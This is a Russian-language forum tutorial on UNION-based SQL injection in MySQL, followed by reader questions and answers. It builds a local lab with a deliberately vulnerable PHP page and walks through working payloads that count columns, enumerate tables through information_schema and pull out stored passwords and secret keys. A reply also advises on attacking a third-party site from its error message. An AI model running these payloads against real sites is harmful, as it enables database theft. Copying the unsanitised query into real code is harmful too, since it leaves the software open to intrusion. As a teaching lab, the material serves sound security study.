Статья SQL-injection, начало - UNION BASED

Приветствую тебя читатель!

Сегодня мы будем взламывать базу данных Mysql. Материала по этой теме в сети предостаточно, но когда я начал изучать эту тему, то она показалась мне весьма запутанной. Все гайды были несколько абстрактны, непонятно почему запрос именно такой, а не другой и т.д. Поэтому, прежде чем ломать базы данных, нужно хоть немного понимать что делают те или иные запросы sql. Именно поэтому, я сначала написал эти статьи Часть 1 Часть 2 Часть 3

Если ты новичок, и непременно хочешь разбираться в sql-инъекциях, то сначала проделай то, что написано в этих статьях. А для чего вообще нужно ручное тестирование? Ведь есть куча программ во главе с sqlmap. Я так скажу - не все инъекции и не всегда могут раскрутить программы. В тоже время ручные тесты дадут максимальный шанс внедрить произвольный sql-код. Кроме того, даже если вы станете продвинутым пользователем sqlmap, то это лишь уровень скрипт-кидди, не понимающего что происходит на самом деле. Разумеется программы для того и придуманы, чтобы облегчить наш труд, но труд знающего человека, у которого не возникает вопросов по пейлоадам.

Я не буду писать очередную статью на примере абстрактных данных. Мы сделаем кое-что поинтереснее, а именно сами создадим уязвимую веб-страничку и базу данных к ней. Таким образом, нам будут видны все исходные данные, и будет гораздо проще понять как происходит процесс внедрения произвольного sql-кода.

Приступим.

Показывать буду на примере Kali Linux. Где-то я буду повторять то, что есть в предыдущих статьях, чтобы получился полный гайд, без пропусков. Запускаем СУБД service mysql start Сначала нужно подключиться к MySQL, для этого достаточно ввести в терминале mysql. Если же ранее был добавлен пароль для root, то вход такой mysql -u root -p пароль. И не путайте, root для ОС и root для БД это не одно и тоже.

Создадим базу данных
create database golden_key;

2.png


Теперь создадим пользователя MySQL buratino и дадим ему полные права на созданную базу данных
grant all privileges on golden_key.* to buratino@localhost identified by 'papa_Karlo';
Обновляем привилегии flush privileges;

3.png


Выходим из-под root набрав exit, и логинимся под пользователем buratino mysql -u buratino -p
Меняем текущую базу use golden_key;

Создаём 2 таблицы с колонками

CREATE TABLE login (
id INT NOT NULL AUTO_INCREMENT,
nickname VARCHAR(30) NOT NULL,
login VARCHAR(40) NOT NULL,
statement INT NOT NULL,
PRIMARY KEY(id)
);

CREATE TABLE passwd (
id INT NOT NULL AUTO_INCREMENT,
email VARCHAR(40) NOT NULL,
password VARCHAR(40) NOT NULL,
secret_key VARCHAR(40) NOT NULL,
PRIMARY KEY(id)
);


4.png


Проверяем desc login; и desc passwd;

5.png


Заполняем поля

INSERT INTO login (nickname,login,statement)
VALUES
("buratino","buratino","1000000"),
("malvina","4uvixa","300000"),
("karabas","boroda","800000"),
("Alisa_fox","kumushka","500000");

INSERT INTO passwd (email,password,secret_key)
VALUES
("wood@mail.ru","papa_Karlo","dast_ist_super-puper_secret_key"),
("devaxa@yandex.ru","solnyshko","d5t6z9h35d6r5c6l"),
("bablo@yahoo.com","bigboss","5y6q3n5f9j3z2gj6"),
("best@gmail.com","blue_sky","g2x5f2s6f7c5f1s6");


6.png


Делаем дамп базы, убедимся, что всё прошло как надо SELECT * FROM login,passwd WHERE login.id = passwd.id;

7.png


Вот и чудненько! База готова, теперь нужно сделать php-страничку. Заходите в каталог html /var/www/html/ и создаёте файл index.php со следующим содержанием:
HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>

Создайте каталог images и закиньте туда . Обязательно выставите права на Чтение и запись для для "Остальные".

8.png


Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это

9.png


Отлично! Теперь я расскажу вам сказочку )

Много воды утекло, Буратино забарыжил золотой ключик и открыл казино. Деньги потекли рекой. По совету бывалых он прикупил криптовалюты. И поднял на хайпе приличную сумму. Сразу рядом закрутились старые знакомые - Мальвина, лиса Алиса, даже Карабас пришёл к Буратино за советом.

Буратино, не долго думая, задрал свой нос, и предложил тусовке заделаться инвесторами, а он будет управлять портфелем. Так и порешили. Что удивительно, всё шло как по маслу. И в один прекрасный день повстречался Базилио.

- Сколько лет, сколько зим! Как дела Буратино?
- Да всё пучком, рублю капусту на крипте.
А ты это, не боишься забыть пароль от кошелька?
Не! По совету папы Карло, я выучился на программиста. Так вот, я сделал сайт с базой данных, и туда занёс пароли, надёжно, всегда можно посмотреть.
Дай ссылочку!
Да у тебя компьютер хоть есть?
Да, нашёл старенький планшет на помойке.
Ну тогда зацени, какую я фотку на сайте выставил - просто красавчик! localhost/index.php
Хорошо, гляну на досуге, пока!

Буратино не знал, что пора попрошайничества у Базилио в прошлом. Он действительно нашёл ноут в довольно неплохом состоянии. А так как времени у него было предостаточно, то мало-помалу посиживал на форумах, искал полезную инфу и тренировался. Через 3 года он стал неплохим хакером.

Удача идёт ко мне прямо в руки - подумал Базилио. Этот лопух Буратино не знает с кем связался, гы-ы! Через пару дней котяра заслал носатому бэкдор, получил доступ к машине, и обнаружил файл wallet.dat с паролем. Ага! Значит не врал чурбачок!

Пора ломануть сайтец, не думаю что деревянные мозги поставили защиту. Посмотрим...


Ну что же, первым делом нужно проверить на самую простую уязвимость UNION BASED, просто подставив в параметр одиночную кавычку.
localhost/index.php?id=1'
Ага, ошибка, как я и думал - лошара берёзовая!

10.png


Выясним теперь сколько колонок используется в запросе. Сделать это можно по-разному. Самый незатейливый способ:

1' union select 1 -- - пишет что количество колонок не совпадает. Мы знаем что ДО UNION и ПОСЛЕ, их количество должно быть равным. Поэтому продолжаем увеличивать их количество до тех пор, пока ошибка не пропадёт.

13.png


1' union select 1,2 -- -
1' union select 1,2,3 -- -
1' union select 1,2,3,4 -- -
ошибки нет, значит колонок 4

Этот способ неудобен, ведь колонок может быть много. Следующий вариант практичнее.

1' group by 10 -- - ошибка, пишет, что колонки 10 не существует

11.png


1' group by 5 -- - делим пополам, тоже мимо
1' group by 3 -- - ошибки нет
1' group by 4 -- - тоже нет, значит колонок 4
Максимальное количество колонок без ошибки = количеству колонок в запросе.

12.png


Тот же результат можно получить используя оператор order by. Это разные операторы, не дублирующие друг друга, но в данном контексте отработают идентично 1' order by 4 -- -

Теперь нужно пояснить что это за дефисы в запросе -- - В mysql 2 дефиса это знак комментария, после которого ничего не считывается, а значит всё что идёт после знака комментария в запросе, будет отброшено. После двух дефисов обязательно должен идти пробел и потом можно писать любой комментарий. Такой запрос не вызовет ошибку 1' order by 4 -- hacker
Также пробел часто заменяют плюсом. Варианты комментариев:
1' order by 4 -- -
1' order by 4 --+-
1' order by 4 --+
1' order by 4 ;%00


Также, в зависимости от кода, могут прокатывать и такие варианты:
#
/**/


Нужно понимать, что не все колонки могут быть уязвимыми. Как это выяснить? Когда мы отправили запрос 1' union select 1,2,3,4 -- - на странице абсолютно ничего не изменилось, так как идёт выдача на странице только одного оригинального запроса. И чтобы получить что-нибудь уже из нашего запроса, нужно как-то избавиться от первого запроса. Для этого мы в параметре id поставим значение, которого точно не должно быть в базе. Например -1 или 99999

Отправляем 99999' union select 1,2,3,4 -- - Отлично! Мы видим, что уязвимая колонка 3.

14.png


Но на самом деле, так мы можем не понять, что имеется и уязвимость в первой колонке, так как наша цифра 1 совпадает с id 1. Лучше всего вводить большие числа. Отправим несколько другой запрос, теперь всё видно невооружённым глазом - уязвимы колонки 1 и 3.

16.png


Теперь выясним название текущей базы данных. Отправляем запрос 99999' union select 1,2,database(),4 -- -
Вот и наша базка golden_key

15.png


А теперь посмотрим как на самом деле выглядит наш запрос:
SELECT * FROM login WHERE id='1' такой запрос на странице с id 1, а мы к нему добавляем -1' union select 1,2,database(),4 -- - и в итоге получается
SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -' то есть мы внедрили свой запрос внутрь оригинального запроса. Проверить это можно отредактировав строку 26 нашей php-странички
$sql="SELECT * FROM login WHERE id='-1' union select 1,2,database(),4 -- -'"; и зайдя на localhost/index.php?id=1 мы увидим, что вывелось название БД.

Поскольку уязвимость в двух колонках, то можно вывести данные в обоих.
-1' union select version(),2222,database(),4444 -- -

17.png



Теперь узнаем названия таблиц.
-1' union select table_name,2,3,4 from information_schema.tables where table_schema='golden_key' -- -
Вывелась одна таблица passwd а ведь мы делали 2 таблицы.

222.png


INFORMATION_SCHEMA содержит в себе имена всех таблиц и колонок. Не всегда можно получить все таблицы, здесь выводится только первая строка из ответа БД, поэтому применим limit который выводит по 1-й записи. Причём нумерация начинается с нуля. Такой запрос тоже вернёт таблицу passwd.
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 0,1 -- -
А теперь увеличим значение на единицу
-1' union select table_name,2,3,4 from INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=database() limit 1,1 -- -
И вот мы вывели таблицу login.

2222.png


Пробуем ещё добавить limit 2,1 пустой вывод, значит таблицы две passwd и login.

Пора вытащить названия колонок
-1' union select column_name,2,3,4 from information_schema.columns where table_name='login' limit 0,1 -- -
Поочерёдными запросами вытаскиваем id,nickname,login,statement

18.png


Таким же образом поступаем с таблицей passwd
-1' union select column_name,2,3,4 from information_schema.columns where table_name='passwd' limit 0,1 -- -
Вытаскиваем id,email,password,secret_key


Теперь зная названия колонок, можно извлекать из них записи. Заглянем-ка в колонку statement, может у носатого 3 копейки на счету, и не стоит заморачиваться -1' union select nickname,2,statement,4 from login -- -

19.png


Ничего себе! Миллион монет на счету, удача идёт прямо в руки!


Ну вы уже надеюсь поняли, что мы вытащили только первую запись, другие через limit нужно забирать
-1' union select nickname,2,statement,4 from login limit 1,1 -- -

Заберём секретный ключ у чурбачка в колпаке!
-1' union select email,2,secret_key,4 from passwd -- -

20.png


Бинго!

Ну, что же, хорошо поработали. А теперь домашнее задание. Заходим на один , где есть порядка 60 уязвимых задач. Вам нужно решить 4 базовые задачи.

1.png


Они попроще, чем то что мы разобрали. Задачи практически одинаковые, отличаются буквально одной маленькой деталью.
Подсказка - внимательно смотрите на вывод ошибки, и имейте в виду, что кодер может обрамить вывод параметра по-разному
select * from table_name where id=1
select * from table_name where id='1'
select * from table_name where id="1"
select * from table_name where id=(1)
select * from table_name where id=('1')
select * from table_name where id=("1")


Удачи!
 

gergaz

Member
12.05.2019
14
0
BIT
5
Доброго времени суток.
Подскажите как обрамить запрос в скобки, или двойные кавычки, ведь по умолчанию для обращения к строке sql использует одинарные кавычки?
1-2.jpg

Разве что при заполнении самой таблицы обрамить данные строки, но и в таком случае одинарные кавычки не куда не денутся
3-4.jpg


Попробовал обрамить в скобки в самом index.php, но при добавлении скобки в конце строки ошибки не возникло
5.jpg

Если кто сможет объяснить, буду очень благодарный, а то совсем запутался.
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Доброго времени суток.
Подскажите как обрамить запрос в скобки, или двойные кавычки, ведь по умолчанию для обращения к строке sql использует одинарные кавычки?
Попробовал обрамить в скобки в самом index.php, но при добавлении скобки в конце строки ошибки не возникло
Посмотреть вложение 33654
Если кто сможет объяснить, буду очень благодарный, а то совсем запутался.

Так конечно ничего не получится - НЕ нужно одновременно использовать скобки с кавычками. Правильно будет так:
$sql="SELECT * FROM login WHERE nickname=($id)";
Таким образом будет обрамление скобками и уязвимость раскручиваться уже будет так:
-1) order by 10 -- -
 

gergaz

Member
12.05.2019
14
0
BIT
5
Так конечно ничего не получится - НЕ нужно одновременно использовать скобки с кавычками. Правильно будет так:
$sql="SELECT * FROM login WHERE nickname=($id)";
Таким образом будет обрамление скобками и уязвимость раскручиваться уже будет так:
-1) order by 10 -- -

Так уже пробовал, ошибка нужная при id=Alisa_fox) есть,
но сам код не работает, в смысле не выводит данные когда делаю обычный запрос без скобки, но так ведь не должно быть?
6.jpg

А вот когда беру в кавычки в самой строке, тогда все работает и данные выводит,
7.jpg

логично будет перенести эти кавычки в код, но так опять возвращаемся к nickname=('$id')"; что тоже не работает.
Какой то замкнутый круг)
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Ну теперь всё встало на свои места. Вывод ошибки даёт ответ. У меня в базе был вывод только по id, а это число. У вас привязка к nickname , а это уже строка. Строка должна быть заключена в кавычки, иначе (когда кавычек нет) БД думает что это колонка. Таким образом кавычки для строки должны быть. Я был невнимателен, поэтому дал неверную рекомендацию. Просто свой таск наизусть знаю, и не заострил внимание, на изменение.
Правильно выводить строку как было у вас раньше $sql="SELECT * FROM login WHERE nickname=('$id')";, а число как я написал.

Жаль что сами не разобрались.
Решать таск следует так:
Alisa_fox') ORDER BY 4 -- -

P.S. Порылся в закладках, вот где очень хорошо по обрамлению расписано, какие варианты есть с числом, а какие со строкой. Ну и так много разного по sql (и не только) материала, который однозначно будет полезен для изучения.
 
Последнее редактирование:
  • Нравится
Реакции: gergaz

uralcz

Member
17.02.2018
9
0
BIT
0
Привет!
Статья классная!!!
Возник такой вопрос, для того, чтобы выяснить название базы, отправляется запрос 99999' union select 1,2,database(),4 -- -
А если в базе всего две колонки, то какой должен быть запрос?
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Привет!
Статья классная!!!
Возник такой вопрос, для того, чтобы выяснить название базы, отправляется запрос 99999' union select 1,2,database(),4 -- -
А если в базе всего две колонки, то какой должен быть запрос?
Если две, то соответственно будет так - 99999' union select 1,database() -- - или 99999' union select database(),2 -- - в зависимости от того какая колонка уязвима.
 
  • Нравится
Реакции: Сергей Попов

Сrusher

New member
21.05.2019
4
0
BIT
50
отличная статья,большое спасибо,а как раскрутить такую ошибку к примеру

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /mnt/104/sda/6/a/claire.billaud/duncanspage/page.php on line 28
Screenshot_6.png
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
отличная статья,большое спасибо,а как раскрутить такую ошибку к примеру

Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in /mnt/104/sda/6/a/claire.billaud/duncanspage/page.php on line 28
Посмотреть вложение 35393

Сообщение о недопустимом аргументе для MySQL. Вариантов очень много, так что без серии тестов нельзя сказать что нужно сделать. К тому же, там судя по всему присутствует другая уязвимость Error-Based, проще всего через неё раскрутить. Как это делается, написано здесь
 
  • Нравится
Реакции: Сrusher

Сrusher

New member
21.05.2019
4
0
BIT
50
Сообщение о недопустимом аргументе для MySQL. Вариантов очень много, так что без серии тестов нельзя сказать что нужно сделать. К тому же, там судя по всему присутствует другая уязвимость Error-Based, проще всего через неё раскрутить. Как это делается, написано здесь
большое спасибо,могли бы вы посоветовать литературу по поиску уязвимостей на сайте?
 

SearcherSlava

Red Team
10.06.2017
943
1 261
BIT
207
Очень дельная книга на русском Жуков Ю. В. - Основы веб-хакинга. Нападение и защита (2-е изд.)

Здрав будь! На русском:
 

yr1

Green Team
10.08.2018
42
3
BIT
0
Теперь запускаем апач service apache2 start и переходим в браузере по ссылке localhost/index.php Если вы всё сделали правильно, то увидите это
Что то не открывает.. создал index.php файл .. может в самом файле что коментировать нужно?
Каталог с картинкой по какому пути правильно создать?
может что не так делаю, не могу понять
 

Вложения

  • index.png
    index.png
    9,5 КБ · Просмотры: 313

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Что то не открывает.. создал index.php файл .. может в самом файле что коментировать нужно?
Каталог с картинкой по какому пути правильно создать?
может что не так делаю, не могу понять
Файл index.php должен быть в каталоге html по этому пути, проверьте /var/www/html/
Картинка должна быть в каталоге images /var/www/html/images/buratino.jpeg

000.png
 

yr1

Green Team
10.08.2018
42
3
BIT
0
Файл index.php должен быть в каталоге html по этому пути, проверьте /var/www/html/
Картинка должна быть в каталоге images /var/www/html/images/buratino.jpeg

Посмотреть вложение 35691
файл index.php полагаю у меня находится на правильном пути
А вот- Картинка должна быть в каталоге images /var/www/html/images/buratino.jpeg
У меня- /var/www/html/images/buratino.jpeg без images / в начале
 

Вложения

  • index.png
    index.png
    105 КБ · Просмотры: 315

h2o0-09

New member
08.12.2019
3
0
BIT
0
1576261524394.png

Привет, немного застрял)
Вроде все вставил правильно, выдает ошибку:

1576261570134.png
 
Последнее редактирование:

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
Привет, немного застрял)
Вроде все вставил правильно, выдает ошибку:
Это не выдача ошибки. А ошибка заключается в некорректном коде index.php - видимо где-то случайно стёрты спецсимволы в коде. Просто нужно заново скопировать код, нужно быть внимательнее ...
 

h2o0-09

New member
08.12.2019
3
0
BIT
0
Это не выдача ошибки. А ошибка заключается в некорректном коде index.php - видимо где-то случайно стёрты спецсимволы в коде. Просто нужно заново скопировать код, нужно быть внимательнее ...
3 раза уже копировал без изменений...
 

massdie98

Member
04.12.2019
9
0
BIT
0
3 раза уже копировал без изменений...
Судя по скрину у тебя не отрабатывает php а файл открывается как обычный html.

Поэтому:
1) Убедись что ты открываешь с веб сервера, вроде а не просто нажал на файл и открыл его в браузере
2) Убедись что на сервере твоем есть php
3) Убедись что ты открываешь именно index.php (может у index.html выше приоритет стоит), открывай явно или вообще удали index.html
 

explorer

Platinum
05.08.2018
1 080
2 475
BIT
0
3 раза уже копировал без изменений...
Да хоть 33 раза. Я уже выше писал - ошибки нет, у вас код index.php отличается от оригинала. Вот воспроизвёл такую же картину, что и у вас:

9999.png


А теперь откройте в текстовом редакторе index.php и скажите, что у вас в коде выше этого участка кода? connect_error);

Вот корректный код:

HTML:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>First hack</title>
</head>
<body>
<?php
$server = "localhost";
$user = "root";
$password = "";
$db = "golden_key";

// Открываем соединение
$link = new mysqli($server, $user, $password, $db);

// Проверка результата подключения
if ($link->connect_error) {
    die("Подключение не удалось: " . $link->connect_error);
}

if(isset($_GET['id']))
{
$id=$_GET['id'];

$sql="SELECT * FROM login WHERE id='$id'";
$result=mysqli_query($link,$sql);
if(!$result){
echo'Error While Selection process: '.mysqli_error($link).' Error code: '.mysqli_errno($link);
exit;
}
$row = mysqli_fetch_array($result);

    if($row)
    {
      echo '<font color= "#0000ff">';
      echo 'ID: '. $row['id'];
      echo "<br>";
      echo 'Your Login: ' .$row['login'];
      echo "</font>";
      }
    }
    else { echo "Please input the ID as parameter with numeric value";}



?>
<div>
<br>
<img border="1" src="http://localhost/images/buratino.jpeg" width="600" height="399">
</div>
</body>
</html>
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!